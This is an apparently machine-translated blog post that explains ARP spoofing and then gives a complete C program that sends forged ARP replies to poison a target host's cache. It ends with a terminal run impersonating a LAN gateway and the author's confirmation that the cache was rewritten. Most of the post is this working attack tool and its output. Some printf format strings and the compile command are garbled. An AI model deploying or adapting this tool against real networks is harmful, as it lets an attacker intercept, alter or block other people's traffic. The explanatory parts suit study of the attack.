I tried ARP spoofing, which is an attack that uses the properties of ARP (Address Resolution Protocol).
ARP In the first place, ARP (Address Resolution Protocol) is for mapping IP addresses to MAC addresses. Assuming a general LAN, for example, when Host A wants to communicate with a router, Host A broadcasts an ARP request using the router's IP address (IP-R).
When the router receives the request, it returns an ARP reply to host A to convey its MAC address.
When Host A receives the ARP reply, it updates its ARP cache and is able to communicate with the router.
ARP spoofing is an attack that takes advantage of this ARP property. ARP has the property of being used in two major attacks.
--Stateless protocol --Unable to verify the identity of the sender
From the above, even if an invalid ARP packet is received, the cache will be updated.
Suppose there are attackers in the same segment. An attacker sends an ARP reply to Host A using the router's IP address in order to rewrite Host A's cache to a malicious one.
If Host A receives a malformed ARP packet, it will update the cache and ARP spoofing will succeed.
Successful ARP spoofing will allow all Host A packets to reach the attacker. As a result, the attacker
--Eavesdropping of communication --Communication jamming --Communication tampering
Such actions are possible.
There are several tools for ARP spoofing. ARP spoofing can be executed simply by rewriting the source IP address of the ARP packet to be sent, so I think it is relatively simple to implement.
So I actually wrote it. (Roughly)
arpspoofing.h
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <sys/socket.h>
#include <netpacket/packet.h>
#include <arpa/inet.h>
#include <netinet/if_ether.h>
#include <netinet/ether.h>
#include <net/if.h>
#include <sys/ioctl.h>
#define IP_CHAR_LEN 15
//Creating an ARP socket
int create_arp_sock();
//IP from interface name,Get MAC address
void set_if_info(int sock, char *if_name, char* if_ip, unsigned char* if_mac);
//Socket address
void set_sockaddr(struct sockaddr_ll *sll, char *if_name);
//ARP settings
void set_arp_header(struct ether_arp *arpPacket, unsigned char *s_mac, char *s_ip, unsigned char *t_mac, char *t_ip, int op);
//Get MAC address of target host
void get_t_mac(int arp_sock, struct ether_arp arpPacket, struct sockaddr_ll sll, int sll_size, char *t_ip, unsigned char *t_mac);
//Convert string to MAC address of unsigned char
void char2mac(char* macadd, unsigned char* mac_str);
//MAC address output
void print_macaddr(unsigned char* macaddr);
//Perform ARP spoofing
void arp_spoofing(char *argv[]);
arpspoofing.c
#include "arpspoofing.h"
int create_arp_sock()
{
int arp_sock = socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP));
if (arp_sock < 0)
{
perror("arp sock");
printf("errno: %d\n", errno);
return 1;
}
return arp_sock;
}
void set_if_info(int sock, char *if_name, char* if_ip,unsigned char* if_mac)
{
struct ifreq ifr;
memset(&ifr, 0, sizeof(ifr));
ifr.ifr_addr.sa_family = AF_INET;
memcpy(ifr.ifr_name, if_name, 6);
//Obtaining an IP address
if (ioctl(sock, SIOCGIFADDR, &ifr) < 0)
{
perror("ip addr");
printf("errno: %d\n", errno);
return;
}
memcpy(if_ip, inet_ntoa(((struct sockaddr_in *)&ifr.ifr_addr)->sin_addr), IP_CHAR_LEN);
//Get MAC address
if (ioctl(sock, SIOCGIFHWADDR, &ifr) < 0)
{
perror("mac addr");
printf("errno: %d\n", errno);
return;
}
memcpy(if_mac, ifr.ifr_hwaddr.sa_data, 6);
}
void set_sockaddr(struct sockaddr_ll *sll, char *if_name)
{
memset(sll, 0x0, sizeof(sll));
sll->sll_family = AF_PACKET; /*Always AF_PACKET */
sll->sll_protocol = htons(ETH_P_ARP); /*Physical layer protocol*/
sll->sll_ifindex = if_nametoindex(if_name); /*Interface number*/
sll->sll_halen = 6; /*Address length*/
memset(&sll->sll_addr, 0xff, 6); /*Physical layer address*/
}
void set_arp_header(struct ether_arp *arpPacket, unsigned char *s_mac, char *s_ip, unsigned char *t_mac, char *t_ip, int op)
{
memset(arpPacket, 0x0, sizeof(arpPacket));
arpPacket->arp_hrd = htons(1); /* Format of hardware address. */
arpPacket->arp_pro = htons(ETHERTYPE_IP); /* Format of protocol address. */
arpPacket->arp_hln = 6; /* Length of hardware address. */
arpPacket->arp_pln = 4; /* Length of protocol address. */
arpPacket->arp_op = htons(op); /* ARP opcode (command). */
memcpy(arpPacket->arp_sha, s_mac, 6); //Source MAC
inet_aton(s_ip, (struct in_addr *)&arpPacket->arp_spa); //Source IP
memcpy(arpPacket->arp_tha, t_mac, 6); //Destination MAC
inet_aton(t_ip, (struct in_addr *)&arpPacket->arp_tpa); //Destination IP
}
void get_t_mac(int arp_sock, struct ether_arp arpPacket, struct sockaddr_ll sll, int sll_size, char *t_ip, unsigned char *t_mac)
{
//Repeat until the MAC address of the specified IP address can be resolved
while(1)
{
if (sendto(arp_sock, (char *)&arpPacket, sizeof(arpPacket),
0, (struct sockaddr *)&sll, sizeof(sll)) < 0){
perror("sendto");
printf("errno: %d\n", errno);
break;
}
char buf[256];
memset(buf,0x0,sizeof(buf));
int arp_size = recvfrom(arp_sock, buf, sizeof(buf), 0, NULL, NULL);
//When an ARP packet arrives
if(arp_size < 0) {
printf("errno: %d\n",errno);
}else{
struct ether_arp *ether_arp = (struct ether_arp*) buf;
char ip_address[IP_CHAR_LEN];
memcpy(ip_address, inet_ntop(AF_INET, ether_arp->arp_spa, ip_address, IP_CHAR_LEN), IP_CHAR_LEN);
//If you can get the MAC address of the specified IP address
if(strcmp((t_ip), ip_address) == 0){
memcpy(t_mac, ether_arp->arp_sha, 6);
printf("%MAC address of s-> ", t_ip);
print_macaddr(t_mac);
break;
}else{
printf("%Acquiring MAC address of s...\n", t_ip);
}
}
sleep(3);
}
}
void char2mac(char* macadd, unsigned char* mac_str){
char* mac = macadd;
char temp[3];
int i;
for(i = 0; i < 6; i++){
temp[0] = mac[i * 3 + 0];
temp[1] = mac[i * 3 + 1];
temp[2] = 0x00;
mac_str[i] = strtol(temp, NULL, 16);
}
}
void print_macaddr(unsigned char* macaddr)
{
printf(" %02x:%02x:%02x:%02x:%02x:%02x\n",macaddr[0],macaddr[1],macaddr[2],macaddr[3],macaddr[4],macaddr[5]);
}
void arp_spoofing(char *argv[])
{
char if_ip[IP_CHAR_LEN]; //Your IP address
unsigned char if_mac[6]; //My MAC address
char t_ip[IP_CHAR_LEN]; //IP address of the target host
unsigned char t_mac[6]; //MAC address of the target host
char fake_ip[IP_CHAR_LEN]; //IP of the host you want to impersonate
//Creating an ARP socket
int arp_sock = create_arp_sock();
//IP from interface name,Get MAC address
set_if_info(arp_sock, argv[1], if_ip, if_mac);
//Socket address
struct sockaddr_ll sll;
set_sockaddr(&sll, argv[1]);
//bind
if(bind(arp_sock, (struct sockaddr*)&sll, sizeof(sll)) < 0)
{
perror("bind");
printf("errno: %d\n",errno);
return;
}
//arp packet settings(For acquiring the MAC address of the target host)
char2mac("00:00:00:00:00:00",t_mac);
memcpy(t_ip, argv[3], IP_CHAR_LEN);
struct ether_arp arpPacket;
set_arp_header(&arpPacket, if_mac, if_ip, t_mac, t_ip, ARPOP_REQUEST);
//Get MAC address of target host
get_t_mac(arp_sock, arpPacket, sll, sizeof(sll), t_ip, t_mac);
//arp packet settings(For ARP spoofing)
memcpy(fake_ip, argv[2], IP_CHAR_LEN);
set_arp_header(&arpPacket, if_mac, fake_ip, t_mac, t_ip, ARPOP_REPLY);
int count = 0;
//ARP spoofing
printf("-------------------------------------------\n");
printf("Sender MAC : "); print_macaddr(if_mac);
printf("Sender IP : %s \n", fake_ip);
printf("Target MAC : "); print_macaddr(t_mac);
printf("Target IP : %s \n", t_ip);
printf("-------------------------------------------\n");
while(count < 3){
if (sendto(arp_sock, (char *)&arpPacket, sizeof(arpPacket),
0, (struct sockaddr *)&sll, sizeof(sll)) < 0)
{
perror("sendto");
printf("errno: %d\n", errno);
return;
}
printf("%s is at", fake_ip); print_macaddr(if_mac);
sleep(3);
count++;
}
close(arp_sock);
return;
}
int main(int argc, char *argv[])
{
//Argument check
if(argc < 4){
printf("usage: <if name> <src IP> <dst IP> \n");
return 0;
}
printf("start arp spoofing...\n");
arp_spoofing(argv);
printf("arp spoofing succeeded!\n");
}
This time, let's run it as an example when an attacker pretends to be "192.168.11.1" against a host of "192.168.11.15". The attacker IP and MAC addresses at this time are as follows.
Attacker IP address | Attacker MAC address |
---|---|
192.168.11.16 | 00:0c:29:2d:52:d6 |
Terminal
$ gcc -o arpspoofing.c
$ sudo ./arpspoofing ens33 192.168.11.1 192.168.11.15
start arp spoofing...
192.168.11.15 MAC addresses-> <192.168.11.15 MAC addresses>
-------------------------------------------
Sender MAC : 00:0c:29:2d:52:d6
Sender IP : 192.168.11.1
Target MAC : <192.168.11.15 MAC addresses>
Target IP : 192.168.11.15
-------------------------------------------
192.168.11.1 is at 00:0c:29:2d:52:d6
192.168.11.1 is at 00:0c:29:2d:52:d6
192.168.11.1 is at 00:0c:29:2d:52:d6
arp spoofing succeeded!
Let's check the ARP cache of "192.168.11.15".
It was certainly rewritten, and it was confirmed that the same MAC address was registered in the ARP cache.
ARP spoofing is scary because it can be a big threat for its ease of execution.
Recommended Posts